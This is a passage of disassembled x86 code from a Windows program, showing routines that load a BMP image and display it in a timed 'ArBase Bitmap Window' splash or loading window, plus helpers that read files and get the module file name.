loc_4B67F9: ; CODE XREF: sub_4B67B0+72j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4B6802: ; CODE XREF: sub_4B67B0+47j cmp [ebp+var_4], 14h jge short loc_4B6824 mov eax, dword_4F4498 push eax call dword_4ED27C ; IsWindow test eax, eax jnz short loc_4B681A jmp short loc_4B6824 ; --------------------------------------------------------------------------- loc_4B681A: ; CODE XREF: sub_4B67B0+66j push 64h call dword_4ED1A4 ; Sleep jmp short loc_4B67F9 ; --------------------------------------------------------------------------- loc_4B6824: ; CODE XREF: sub_4B67B0+28j ; sub_4B67B0+56j ... mov esp, ebp pop ebp retn sub_4B67B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B6828 proc near ; CODE XREF: sub_4B6BB7+17p ; DATA XREF: sub_4B45FB+159o var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = dword ptr -4Ah var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h Dst = dword ptr -1Ch var_12 = dword ptr -12h var_C = dword ptr -0Ch Size = dword ptr -8 Src = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] mov [ebp+Src], eax push 0Eh ; Size mov ecx, [ebp+Src] push ecx ; Src lea edx, [ebp+Dst] push edx ; Dst call _memcpy_1 add esp, 0Ch mov eax, [ebp+Src] add eax, 0Eh mov [ebp+Src], eax mov ecx, [ebp+Dst] and ecx, 0FFFFh cmp ecx, 4D42h jz short loc_4B6867 xor eax, eax jmp loc_4B6BB3 ; --------------------------------------------------------------------------- loc_4B6867: ; CODE XREF: sub_4B6828+36j push 28h ; Size mov edx, [ebp+Src] push edx ; Src lea eax, [ebp+var_58] push eax ; Dst call _memcpy_1 add esp, 0Ch mov ecx, [ebp+Src] add ecx, 28h mov [ebp+Src], ecx mov [ebp+var_20], 28h cmp [ebp+var_38], 0 jnz short loc_4B68A2 mov ecx, [ebp+var_4A] and ecx, 0FFFFh mov edx, 1 shl edx, cl mov [ebp+var_38], edx loc_4B68A2: ; CODE XREF: sub_4B6828+65j cmp [ebp+var_34], 0 jnz short loc_4B68BB mov ecx, [ebp+var_4A] and ecx, 0FFFFh mov eax, 1 shl eax, cl mov [ebp+var_34], eax loc_4B68BB: ; CODE XREF: sub_4B6828+7Ej mov ecx, [ebp+var_4A] and ecx, 0FFFFh cmp ecx, 8 jle short loc_4B68D7 mov edx, [ebp+var_38] mov eax, [ebp+var_20] lea ecx, [eax+edx*2] mov [ebp+var_20], ecx jmp short loc_4B68F0 ; --------------------------------------------------------------------------- loc_4B68D7: ; CODE XREF: sub_4B6828+9Fj mov ecx, [ebp+var_4A] and ecx, 0FFFFh mov edx, 1 shl edx, cl mov eax, [ebp+var_20] lea ecx, [eax+edx*4] mov [ebp+var_20], ecx loc_4B68F0: ; CODE XREF: sub_4B6828+ADj mov edx, [ebp+var_20] push edx call sub_4C85E1 add esp, 4 mov [ebp+var_70], eax mov eax, [ebp+var_70] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] mov dword ptr [ecx], 28h mov edx, [ebp+var_2C] mov eax, [ebp+var_54] mov [edx+4], eax mov ecx, [ebp+var_2C] mov edx, [ebp+var_50] mov [ecx+8], edx mov eax, [ebp+var_2C] mov cx, [ebp+var_4C] mov [eax+0Ch], cx mov edx, [ebp+var_2C] mov ax, word ptr [ebp+var_4A] mov [edx+0Eh], ax mov ecx, [ebp+var_2C] mov edx, [ebp+var_4A+2] mov [ecx+10h], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_44] mov [eax+14h], ecx mov edx, [ebp+var_2C] mov eax, [ebp+var_40] mov [edx+18h], eax mov ecx, [ebp+var_2C] mov edx, [ebp+var_3C] mov [ecx+1Ch], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_38] mov [eax+20h], ecx mov edx, [ebp+var_2C] mov eax, [ebp+var_34] mov [edx+24h], eax mov ecx, [ebp+var_4A] and ecx, 0FFFFh cmp ecx, 8 jg loc_4B6AEA mov edx, [ebp+var_2C] xor eax, eax cmp dword ptr [edx], 28h setz al add eax, 3 mov ecx, [ebp+var_38] imul ecx, eax mov [ebp+Size], ecx mov edx, [ebp+Size] push edx ; Size mov eax, [ebp+Src] push eax ; Src mov ecx, [ebp+var_2C] add ecx, 28h push ecx ; Dst call _memcpy_1 add esp, 0Ch mov edx, [ebp+Src] add edx, [ebp+Size] mov [ebp+Src], edx mov eax, [ebp+var_38] shl eax, 2 lea ecx, ds:20h[eax*4] push ecx call sub_4C85E1 add esp, 4 mov [ebp+var_74], eax mov edx, [ebp+var_74] mov [ebp+var_5C], edx mov eax, [ebp+var_5C] mov word ptr [eax], 300h mov ecx, [ebp+var_5C] mov dx, word ptr [ebp+var_38] mov [ecx+2], dx mov eax, [ebp+var_2C] cmp dword ptr [eax], 28h jnz short loc_4B6A5D mov ecx, [ebp+var_2C] add ecx, 28h mov [ebp+var_64], ecx mov [ebp+var_60], 0 loc_4B69FF: ; CODE XREF: sub_4B6828+231j mov edx, [ebp+var_5C] xor eax, eax mov ax, [edx+2] cmp [ebp+var_60], eax jnb short loc_4B6A5B mov ecx, [ebp+var_60] mov edx, [ebp+var_5C] mov eax, [ebp+var_64] mov al, [eax+2] mov [edx+ecx*4+4], al mov ecx, [ebp+var_60] mov edx, [ebp+var_5C] mov eax, [ebp+var_64] mov al, [eax+1] mov [edx+ecx*4+5], al mov ecx, [ebp+var_60] mov edx, [ebp+var_5C] mov eax, [ebp+var_64] mov al, [eax] mov [edx+ecx*4+6], al mov ecx, [ebp+var_60] mov edx, [ebp+var_5C] mov byte ptr [edx+ecx*4+7], 0 mov eax, [ebp+var_60] add eax, 1 mov [ebp+var_60], eax mov ecx, [ebp+var_64] add ecx, 4 mov [ebp+var_64], ecx jmp short loc_4B69FF ; --------------------------------------------------------------------------- loc_4B6A5B: ; CODE XREF: sub_4B6828+1E3j jmp short loc_4B6AC9 ; --------------------------------------------------------------------------- loc_4B6A5D: ; CODE XREF: sub_4B6828+1C5j mov edx, [ebp+var_2C] add edx, 28h mov [ebp+var_6C], edx mov [ebp+var_68], 0 loc_4B6A6D: ; CODE XREF: sub_4B6828+29Fj mov eax, [ebp+var_5C] xor ecx, ecx mov cx, [eax+2] cmp [ebp+var_68], ecx jnb short loc_4B6AC9 mov edx, [ebp+var_68] mov eax, [ebp+var_5C] mov ecx, [ebp+var_6C] mov cl, [ecx+2] mov [eax+edx*4+4], cl mov edx, [ebp+var_68] mov eax, [ebp+var_5C] mov ecx, [ebp+var_6C] mov cl, [ecx+1] mov [eax+edx*4+5], cl mov edx, [ebp+var_68] mov eax, [ebp+var_5C] mov ecx, [ebp+var_6C] mov cl, [ecx] mov [eax+edx*4+6], cl mov edx, [ebp+var_68] mov eax, [ebp+var_5C] mov byte ptr [eax+edx*4+7], 0 mov ecx, [ebp+var_68] add ecx, 1 mov [ebp+var_68], ecx mov edx, [ebp+var_6C] add edx, 3 mov [ebp+var_6C], edx jmp short loc_4B6A6D ; --------------------------------------------------------------------------- loc_4B6AC9: ; CODE XREF: sub_4B6828:loc_4B6A5Bj ; sub_4B6828+251j mov eax, [ebp+var_5C] push eax call dword_4ED010 ; CreatePalette mov dword_4F44A0, eax mov ecx, [ebp+var_5C] mov [ebp+var_78], ecx mov edx, [ebp+var_78] push edx call sub_4C85D6 add esp, 4 loc_4B6AEA: ; CODE XREF: sub_4B6828+150j mov eax, [ebp+Dst+2] sub eax, [ebp+var_12] mov [ebp+Size], eax mov ecx, [ebp+Src] mov [ebp+var_28], ecx mov edx, [ebp+Src] add edx, [ebp+Size] mov [ebp+Src], edx push 0 push 0 push 0 push offset aDisplay_0 ; "DISPLAY" call dword_4ED00C ; CreateDCA mov [ebp+var_30], eax mov [ebp+var_24], 0 cmp dword_4F44A0, 0 jz short loc_4B6B45 push 0 mov eax, dword_4F44A0 push eax mov ecx, [ebp+var_30] push ecx call dword_4ED008 ; SelectPalette mov [ebp+var_24], eax mov edx, [ebp+var_30] push edx call dword_4ED004 ; RealizePalette loc_4B6B45: ; CODE XREF: sub_4B6828+2FCj push 0 mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_28] push ecx push 4 lea edx, [ebp+var_58] push edx mov eax, [ebp+var_30] push eax call dword_4ED024 ; CreateDIBitmap mov [ebp+var_C], eax cmp [ebp+var_24], 0 jz short loc_4B6B78 push 0 mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_30] push edx call dword_4ED008 ; SelectPalette loc_4B6B78: ; CODE XREF: sub_4B6828+33Ej mov eax, [ebp+var_30] push eax call dword_4ED000 ; DeleteDC mov ecx, [ebp+var_2C] mov [ebp+var_7C], ecx mov edx, [ebp+var_7C] push edx call sub_4C85D6 add esp, 4 cmp [ebp+arg_4], 0 jz short loc_4B6BA2 mov eax, [ebp+arg_4] mov ecx, [ebp+var_54] mov [eax], ecx loc_4B6BA2: ; CODE XREF: sub_4B6828+370j cmp [ebp+arg_8], 0 jz short loc_4B6BB0 mov edx, [ebp+arg_8] mov eax, [ebp+var_50] mov [edx], eax loc_4B6BB0: ; CODE XREF: sub_4B6828+37Ej mov eax, [ebp+var_C] loc_4B6BB3: ; CODE XREF: sub_4B6828+3Aj mov esp, ebp pop ebp retn sub_4B6828 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B6BB7 proc near ; CODE XREF: sub_4B4965+1B8p ; .text:004B7294p ; DATA XREF: ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 8 call sub_4B67B0 lea eax, [ebp+var_8] push eax lea ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4B6828 add esp, 0Ch mov dword_4F449C, eax cmp dword_4F449C, 0 jz short loc_4B6C02 push 1 mov al, [ebp+arg_8] push eax mov cl, [ebp+arg_4] push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+var_4] push eax call sub_4B6C08 add esp, 14h mov al, 1 jmp short loc_4B6C04 ; --------------------------------------------------------------------------- loc_4B6C02: ; CODE XREF: sub_4B6BB7+2Bj xor al, al loc_4B6C04: ; CODE XREF: sub_4B6BB7+49j mov esp, ebp pop ebp retn sub_4B6BB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B6C08 proc near ; CODE XREF: sub_4B6BB7+3Fp ; sub_4B7150+22p var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h Dest = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 148h mov [ebp+var_108], offset aArbaseBitmapWi ; "ArBase Bitmap Window" mov [ebp+var_4], offset aArbaseTestBitm ; "ArBase Test Bitmap Window" mov al, byte ptr [ebp+arg_C] mov byte_4F44A4, al mov cl, byte ptr [ebp+arg_8] mov byte_4F44A5, cl mov edx, [ebp+arg_0] mov dword_4F4490, edx mov eax, [ebp+arg_4] mov dword_4F448C, eax mov ecx, [ebp+arg_10] and ecx, 0FFh test ecx, ecx jz short loc_4B6CC2 mov edx, [ebp+arg_C] and edx, 0FFh test edx, edx jnz short loc_4B6CC2 mov byte_4F44B1, 1 call dword_4ED03C ; GetTickCount add eax, 0FAh mov [ebp+var_114], eax push offset dword_4F44A8 push 0 push 0 push offset sub_4B7150 push 0 push 0 call dword_4ED02C ; CreateThread push eax call dword_4ED0E8 ; CloseHandle loc_4B6C95: ; CODE XREF: sub_4B6C08+AEj xor eax, eax mov al, byte_4F44B1 test eax, eax jz short loc_4B6CB8 call dword_4ED03C ; GetTickCount cmp eax, [ebp+var_114] jnb short loc_4B6CB8 push 1 call dword_4ED1A4 ; Sleep jmp short loc_4B6C95 ; --------------------------------------------------------------------------- loc_4B6CB8: ; CODE XREF: sub_4B6C08+96j ; sub_4B6C08+A4j mov eax, 1 jmp loc_4B6F10 ; --------------------------------------------------------------------------- loc_4B6CC2: ; CODE XREF: sub_4B6C08+47j ; sub_4B6C08+54j call dword_4ED0AC ; GetCurrentThreadId mov dword_4F44A8, eax xor ecx, ecx mov cl, byte_4F44B0 test ecx, ecx jnz loc_4B6D94 mov [ebp+var_13C], 0 mov [ebp+var_138], offset sub_4B6F14 mov [ebp+var_134], 0 mov [ebp+var_130], 0 mov edx, dword_4F4480 mov [ebp+var_12C], edx mov [ebp+var_128], 0 xor eax, eax mov al, byte_4F44A4 neg eax sbb eax, eax and al, 0FEh add eax, 7F02h push eax push 0 call dword_4ED240 ; LoadCursorA mov [ebp+var_124], eax mov [ebp+var_120], 0 mov [ebp+var_11C], 0 mov ecx, [ebp+arg_C] and ecx, 0FFh test ecx, ecx jz short loc_4B6D68 mov edx, [ebp+var_4] mov [ebp+var_144], edx jmp short loc_4B6D74 ; --------------------------------------------------------------------------- loc_4B6D68: ; CODE XREF: sub_4B6C08+153j mov eax, [ebp+var_108] mov [ebp+var_144], eax loc_4B6D74: ; CODE XREF: sub_4B6C08+15Ej mov ecx, [ebp+var_144] mov [ebp+var_118], ecx lea edx, [ebp+var_13C] push edx call dword_4ED24C ; RegisterClassA mov byte_4F44B0, 1 loc_4B6D94: ; CODE XREF: sub_4B6C08+CFj mov eax, [ebp+arg_C] and eax, 0FFh test eax, eax jz short loc_4B6DD6 mov [ebp+var_140], 0 jmp short loc_4B6DBB ; --------------------------------------------------------------------------- loc_4B6DAC: ; CODE XREF: sub_4B6C08+1CCj mov ecx, [ebp+var_140] add ecx, 1 mov [ebp+var_140], ecx loc_4B6DBB: ; CODE XREF: sub_4B6C08+1A2j cmp [ebp+var_140], 100h jge short loc_4B6DD6 mov edx, [ebp+var_140] push edx call dword_4ED1F8 ; GetAsyncKeyState jmp short loc_4B6DAC ; --------------------------------------------------------------------------- loc_4B6DD6: ; CODE XREF: sub_4B6C08+196j ; sub_4B6C08+1BDj push 0 call dword_4ED1FC ; GetSystemMetrics sub eax, dword_4F4490 cdq sub eax, edx sar eax, 1 mov [ebp+var_110], eax push 1 call dword_4ED1FC ; GetSystemMetrics sub eax, dword_4F448C cdq sub eax, edx sar eax, 1 mov [ebp+var_10C], eax mov eax, [ebp+arg_C] and eax, 0FFh test eax, eax jz short loc_4B6E1F mov ecx, [ebp+var_4] mov [ebp+var_148], ecx jmp short loc_4B6E2B ; --------------------------------------------------------------------------- loc_4B6E1F: ; CODE XREF: sub_4B6C08+20Aj mov edx, [ebp+var_108] mov [ebp+var_148], edx loc_4B6E2B: ; CODE XREF: sub_4B6C08+215j push 0 mov eax, dword_4F4480 push eax push 0 push 0 mov ecx, dword_4F448C push ecx mov edx, dword_4F4490 push edx mov eax, [ebp+var_10C] push eax mov ecx, [ebp+var_110] push ecx xor edx, edx mov dl, byte_4F44A4 neg edx sbb edx, edx and edx, 0F8000000h add edx, 8000000h or edx, 80000000h push edx push 0 mov eax, [ebp+var_148] push eax mov ecx, [ebp+arg_8] and ecx, 0FFh neg ecx sbb ecx, ecx and ecx, 0FFFFFF88h add ecx, 80h push ecx call dword_4ED250 ; CreateWindowExA mov dword_4F4498, eax push 4 mov edx, dword_4F4498 push edx call dword_4ED210 ; ShowWindow mov eax, dword_4F4498 push eax call dword_4ED214 ; UpdateWindow mov ecx, [ebp+arg_C] and ecx, 0FFh test ecx, ecx jz short loc_4B6ED8 push 0 push 64h push 2 mov edx, dword_4F4498 push edx call dword_4ED200 ; SetTimer loc_4B6ED8: ; CODE XREF: sub_4B6C08+2BBj mov eax, dword_4F4498 push eax push offset a08x ; "%08X" lea ecx, [ebp+Dest] push ecx ; Dest call _sprintf_0 add esp, 0Ch lea edx, [ebp+Dest] push edx push offset aLoadingwindow ; "LOADINGWINDOW" call dword_4ED098 ; SetEnvironmentVariableA mov byte_4F44B1, 0 mov eax, dword_4F4498 loc_4B6F10: ; CODE XREF: sub_4B6C08+B5j mov esp, ebp pop ebp retn sub_4B6C08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B6F14 proc near ; DATA XREF: sub_4B6C08+DFo var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = byte ptr -50h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 58h mov eax, [ebp+arg_4] mov [ebp+var_58], eax cmp [ebp+var_58], 202h ja short loc_4B6F58 cmp [ebp+var_58], 202h jz loc_4B7051 cmp [ebp+var_58], 2 jz loc_4B7069 cmp [ebp+var_58], 0Fh jz short loc_4B6F84 cmp [ebp+var_58], 113h jz loc_4B70AF jmp loc_4B7134 ; --------------------------------------------------------------------------- loc_4B6F58: ; CODE XREF: sub_4B6F14+13j cmp [ebp+var_58], 205h jz loc_4B7051 cmp [ebp+var_58], 208h jz loc_4B7051 cmp [ebp+var_58], 40Ah jz loc_4B7126 jmp loc_4B7134 ; --------------------------------------------------------------------------- loc_4B6F84: ; CODE XREF: sub_4B6F14+30j lea ecx, [ebp+var_50] push ecx mov edx, [ebp+arg_0] push edx call dword_4ED1EC ; BeginPaint mov [ebp+var_10], eax mov eax, [ebp+var_10] push eax call dword_4ED020 ; CreateCompatibleDC mov [ebp+var_54], eax mov ecx, dword_4F449C push ecx mov edx, [ebp+var_54] push edx call dword_4ED01C ; SelectObject mov [ebp+var_C], eax mov [ebp+var_8], 0 cmp dword_4F44A0, 0 jz short loc_4B6FE5 push 0 mov eax, dword_4F44A0 push eax mov ecx, [ebp+var_10] push ecx call dword_4ED008 ; SelectPalette mov [ebp+var_8], eax mov edx, [ebp+var_10] push edx call dword_4ED004 ; RealizePalette loc_4B6FE5: ; CODE XREF: sub_4B6F14+B0j push 0CC0020h push 0 push 0 mov eax, [ebp+var_54] push eax mov ecx, dword_4F448C push ecx mov edx, dword_4F4490 push edx push 0 push 0 mov eax, [ebp+var_10] push eax call dword_4ED018 ; BitBlt cmp [ebp+var_8], 0 jz short loc_4B7024 push 0 mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_10] push edx call dword_4ED008 ; SelectPalette loc_4B7024: ; CODE XREF: sub_4B6F14+FEj mov eax, [ebp+var_C] push eax mov ecx, [ebp+var_54] push ecx call dword_4ED01C ; SelectObject mov edx, [ebp+var_54] push edx call dword_4ED000 ; DeleteDC lea eax, [ebp+var_50] push eax mov ecx, [ebp+arg_0] push ecx call dword_4ED1F0 ; EndPaint xor eax, eax jmp loc_4B714A ; --------------------------------------------------------------------------- loc_4B7051: ; CODE XREF: sub_4B6F14+1Cj ; sub_4B6F14+4Bj ... xor edx, edx mov dl, byte_4F44A4 test edx, edx jz short loc_4B7062 call sub_4B67B0 loc_4B7062: ; CODE XREF: sub_4B6F14+147j xor eax, eax jmp loc_4B714A ; --------------------------------------------------------------------------- loc_4B7069: ; CODE XREF: sub_4B6F14+26j cmp dword_4F449C, 0 jz short loc_4B7088 mov eax, dword_4F449C push eax call dword_4ED014 ; DeleteObject mov dword_4F449C, 0 loc_4B7088: ; CODE XREF: sub_4B6F14+15Cj cmp dword_4F44A0, 0 jz short loc_4B70A8 mov ecx, dword_4F44A0 push ecx call dword_4ED014 ; DeleteObject mov dword_4F44A0, 0 loc_4B70A8: ; CODE XREF: sub_4B6F14+17Bj xor eax, eax jmp loc_4B714A ; --------------------------------------------------------------------------- loc_4B70AF: ; CODE XREF: sub_4B6F14+39j cmp [ebp+arg_8], 2 jnz short loc_4B70EF mov [ebp+var_4], 0 jmp short loc_4B70C7 ; --------------------------------------------------------------------------- loc_4B70BE: ; CODE XREF: sub_4B6F14:loc_4B70EBj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4B70C7: ; CODE XREF: sub_4B6F14+1A8j cmp [ebp+var_4], 100h jge short loc_4B70ED mov eax, [ebp+var_4] push eax call dword_4ED1F8 ; GetAsyncKeyState movsx ecx, ax and ecx, 1 test ecx, ecx jz short loc_4B70EB call sub_4B67B0 jmp short loc_4B70ED ; --------------------------------------------------------------------------- loc_4B70EB: ; CODE XREF: sub_4B6F14+1CEj jmp short loc_4B70BE ; --------------------------------------------------------------------------- loc_4B70ED: ; CODE XREF: sub_4B6F14+1BAj ; sub_4B6F14+1D5j jmp short loc_4B7122 ; --------------------------------------------------------------------------- loc_4B70EF: ; CODE XREF: sub_4B6F14+19Fj cmp [ebp+arg_8], 1 jnz short loc_4B7122 call dword_4ED03C ; GetTickCount cmp eax, dword_4F44AC jb short loc_4B7122 push 1 mov edx, [ebp+arg_0] push edx call dword_4ED1F4 ; KillTimer push 0 push 0 push 40Ah mov eax, [ebp+arg_0] push eax call dword_4ED25C ; SendMessageA loc_4B7122: ; CODE XREF: sub_4B6F14:loc_4B70EDj ; sub_4B6F14+1DFj ... xor eax, eax jmp short loc_4B714A ; --------------------------------------------------------------------------- loc_4B7126: ; CODE XREF: sub_4B6F14+65j mov ecx, [ebp+arg_0] push ecx call dword_4ED228 ; DestroyWindow xor eax, eax jmp short loc_4B714A ; --------------------------------------------------------------------------- loc_4B7134: ; CODE XREF: sub_4B6F14+3Fj ; sub_4B6F14+6Bj mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4ED23C ; DefWindowProcA loc_4B714A: ; CODE XREF: sub_4B6F14+138j ; sub_4B6F14+150j ... mov esp, ebp pop ebp retn 10h sub_4B6F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B7150 proc near ; DATA XREF: sub_4B6C08+77o var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push 0 mov al, byte_4F44A4 push eax mov cl, byte_4F44A5 push ecx mov edx, dword_4F448C push edx mov eax, dword_4F4490 push eax call sub_4B6C08 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4B718A xor eax, eax jmp loc_4B720F ; --------------------------------------------------------------------------- loc_4B718A: ; CODE XREF: sub_4B7150+31j cmp dword_4F4494, 0 jz short loc_4B71AC call dword_4ED03C ; GetTickCount mov ecx, dword_4F4494 imul ecx, 3E8h add eax, ecx mov dword_4F44AC, eax loc_4B71AC: ; CODE XREF: sub_4B7150+41j push 0 push 0FAh push 1 mov edx, [ebp+var_4] push edx call dword_4ED200 ; SetTimer loc_4B71BF: ; CODE XREF: sub_4B7150:loc_4B720Bj mov eax, [ebp+var_4] push eax call dword_4ED27C ; IsWindow test eax, eax jz short loc_4B720D push 3 push 0 push 0 mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_20] push edx call dword_4ED280 ; PeekMessageA test eax, eax jz short loc_4B7203 cmp [ebp+var_1C], 12h jnz short loc_4B71ED jmp short loc_4B720D ; --------------------------------------------------------------------------- loc_4B71ED: ; CODE XREF: sub_4B7150+99j lea eax, [ebp+var_20] push eax call dword_4ED260 ; TranslateMessage lea ecx, [ebp+var_20] push ecx call dword_4ED264 ; DispatchMessageA jmp short loc_4B720B ; --------------------------------------------------------------------------- loc_4B7203: ; CODE XREF: sub_4B7150+93j push 1 call dword_4ED1A4 ; Sleep loc_4B720B: ; CODE XREF: sub_4B7150+B1j jmp short loc_4B71BF ; --------------------------------------------------------------------------- loc_4B720D: ; CODE XREF: sub_4B7150+7Bj ; sub_4B7150+9Bj xor eax, eax loc_4B720F: ; CODE XREF: sub_4B7150+35j mov esp, ebp pop ebp retn 4 sub_4B7150 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1Ch mov byte ptr [ebp-10h], 0 push 0 push 8000080h push 3 push 0 push 1 push 80000000h mov eax, [ebp+8] push eax call dword_4ED0B8 ; CreateFileA mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0FFFFFFFFh jnz short loc_4B7248 xor al, al jmp short loc_4B72BE ; --------------------------------------------------------------------------- loc_4B7248: ; CODE XREF: .text:004B7242j push 0 mov ecx, [ebp-14h] push ecx call dword_4ED0B4 ; GetFileSize mov [ebp-8], eax mov edx, [ebp-8] push edx call sub_4C85E1 add esp, 4 mov [ebp-18h], eax mov eax, [ebp-18h] mov [ebp-0Ch], eax push 0 lea ecx, [ebp-4] push ecx mov edx, [ebp-8] push edx mov eax, [ebp-0Ch] push eax mov ecx, [ebp-14h] push ecx call dword_4ED0B0 ; ReadFile test eax, eax jz short loc_4B729F mov dl, [ebp+10h] push edx mov al, [ebp+0Ch] push eax mov ecx, [ebp-0Ch] push ecx call sub_4B6BB7 add esp, 0Ch mov [ebp-10h], al loc_4B729F: ; CODE XREF: .text:004B7286j mov edx, [ebp-0Ch] mov [ebp-1Ch], edx mov eax, [ebp-1Ch] push eax call sub_4C85D6 add esp, 4 mov ecx, [ebp-14h] push ecx call dword_4ED0E8 ; CloseHandle mov al, [ebp-10h] loc_4B72BE: ; CODE XREF: .text:004B7246j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4B72D0(char *Str) sub_4B72D0 proc near ; CODE XREF: .text:004B5A0Bp ; .text:004B9923p var_24C = byte ptr -24Ch var_148 = dword ptr -148h var_144 = byte ptr -144h Source = byte ptr -118h var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch push 104h lea eax, [ebp+var_24C] push eax push 0 call dword_4ED1C4 ; GetModuleFileNameA test eax, eax jnz short loc_4B72F5 xor al, al jmp short loc_4B735B ; --------------------------------------------------------------------------- loc_4B72F5: ; CODE XREF: sub_4B72D0+1Fj lea ecx, [ebp+var_144] push ecx lea edx, [ebp+var_24C] push edx call dword_4ED0C0 ; FindFirstFileA mov [ebp+var_148], eax cmp [ebp+var_148], 0FFFFFFFFh jnz short loc_4B731C xor al, al jmp short loc_4B735B ; --------------------------------------------------------------------------- loc_4B731C: ; CODE XREF: sub_4B72D0+46j mov eax, [ebp+var_148] push eax call dword_4ED0BC ; FindClose lea ecx, [ebp+Source] push ecx ; Source mov edx, [ebp+Str] push edx ; Dest call _strcpy_0 add esp, 8 push 2Eh ; Ch mov eax, [ebp+Str] push eax ; Str call _strrchr_0 add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4B7359 mov ecx, [ebp+var_4] mov byte ptr [ecx], 0 loc_4B7359: ; CODE XREF: sub_4B72D0+81j mov al, 1 loc_4B735B: ; CODE XREF: sub_4B72D0+23j ; sub_4B72D0+4Aj mov esp, ebp pop ebp retn sub_4B72D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4B735F(wchar_t *Str) sub_4B735F proc near ; CODE XREF: .text:004B9A13p var_460 = byte ptr -460h var_258 = dword ptr -258h var_254 = byte ptr -254h Source = word ptr -228h var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp sub esp, 460h push 104h lea eax, [ebp+var_460] push eax push 0 call dword_4ED1BC ; GetModuleFileNameW test eax, eax jnz short loc_4B7384 xor al, al jmp short loc_4B73EC ; --------------------------------------------------------------------------- loc_4B7384: ; CODE XREF: sub_4B735F+1Fj lea ecx, [ebp+var_254] push ecx lea edx, [ebp+var_460] push edx call dword_4ED0C4 ; FindFirstFileW mov [ebp+var_258], eax cmp [ebp+var_258], 0FFFFFFFFh jnz short loc_4B73AB xor al, al jmp short loc_4B73EC ; --------------------------------------------------------------------------- loc_4B73AB: ; CODE XREF: sub_4B735F+46j mov eax, [ebp+var_258] push eax call dword_4ED0BC ; FindClose lea ecx, [ebp+Source] push ecx ; Source mov edx, [ebp+Str] push edx ; Dest call _wcscpy add esp, 8 push 2Eh ; Ch mov eax, [ebp+Str] push eax ; Str call _wcsrchr add esp, 8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4B73EA mov ecx, [ebp+var_4] mov word ptr [ecx], 0 loc_4B73EA: ; CODE XREF: sub_4B735F+81j mov al, 1 loc_4B73EC: ; CODE XREF: sub_4B735F+23j ; sub_4B735F+4Aj mov esp, ebp pop ebp retn sub_4B735F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B73F0 proc near ; DATA XREF: .data:004ED294o push ebp mov ebp, esp call sub_4B73FA pop ebp retn sub_4B73F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B73FA proc near ; CODE XREF: sub_4B73F0+3p push ebp mov ebp, esp mov eax, dword_4ED3E4 mov dword_4F4738, eax pop ebp retn sub_4B73FA endp ; --------------------------------------------------------------------------- db 55h ; U db 